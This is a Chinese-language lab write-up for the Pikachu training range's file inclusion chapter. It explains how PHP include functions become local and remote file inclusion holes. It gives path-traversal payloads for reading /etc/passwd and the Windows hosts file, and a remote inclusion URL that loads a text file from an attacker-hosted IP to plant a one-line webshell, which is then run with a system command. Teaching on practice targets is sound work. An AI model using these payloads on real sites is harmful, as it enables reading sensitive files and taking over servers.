pikachu靶場 :六、文件包含漏洞

pikachu靶場 :六、文件包含漏洞

概述

文件包含,是一個功能。
在各種開發語言中都提供了內置的文件包含函數,其可以使開發人員在一個代碼文件中直接包含(引入)另外一個代碼文件。
比如 在PHP中,提供了:

include(),include_once()
require(),require_once()

這些文件包含函數,這些函數在代碼設計中被經常使用到。

大多數情況下,文件包含函數中包含的代碼文件是固定的,因此也不會出現安全問題。
但是,有些時候,文件包含的代碼文件被寫成了一個變量,且這個變量可以由前端用戶傳進來,這種情況下,如果沒有做足夠的安全考慮,則可能會引發文件包含漏洞。
攻擊着會指定一個“意想不到”的文件讓包含函數去執行,從而造成惡意操作。

根據不同的配置環境,文件包含漏洞分爲如下兩種情況:

  1. 本地文件包含漏洞:僅能夠對服務器本地的文件進行包含,由於服務器上的文件並不是攻擊者所能夠控制的,因此該情況下,攻擊着更多的會包含一些 固定的系統配置文件,從而讀取系統敏感信息。
    很多時候本地文件包含漏洞會結合一些特殊的文件上傳漏洞,從而形成更大的威力。
  2. 遠程文件包含漏洞:能夠通過url地址對遠程的文件進行包含,這意味着攻擊者可以傳入任意的代碼,這種情況沒啥好說的,準備掛彩。

因此,在web應用系統的功能設計上儘量不要讓前端用戶直接傳變量給包含函數,如果非要這麼做,也一定要做嚴格的白名單策略進行過濾。

本地文件包含漏洞

在這裏插入圖片描述
順便選擇一個選項。
在這裏插入圖片描述
觀察所構造的url,可以看到,是傳了一個file1.php到後臺,後臺會指定的目標文件進行對應的操作(這些文件都是後臺自己存在的文件)。

https://www.bihuoedu.com/vul/fileinclude/fi_local.php?filename=file1.php&submit=%E6%8F%90%E4%BA%A4

所以如果是 Linux 環境,我們可以 “…/” 的方式進行目錄跳轉,讀取其他目錄下的文件

../../../../../../../../etc/passwd

如果是 Windows 環境,也類似

../../../../Windows/System32/drivers/etc/hosts

在這裏插入圖片描述

遠程文件包含漏洞

在這裏插入圖片描述
先在本地編寫好一句話木馬,開啓phpstudy,把 includer 和 require 參數開啓。
在這裏插入圖片描述
在這裏插入圖片描述
題目只允許包含txt文件,所以我們還需編寫個利用shell.php的txt文件,放在同一級目錄下。
在這裏插入圖片描述
在這裏插入圖片描述
構造漏洞代碼。

/vul/fileinclude/fi_remote.php?filename=http://192.168.43.150/shell.txt&submit=提交

提交之後我們的遠程服務器上會多出一個文件,這個文件一般在同級目錄下
這時候我們就可以利用我們上傳的 php 文件進行相關的操作,或菜刀連接。

/vul/fileinclude/yijuhua.php?x=ipconfig
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章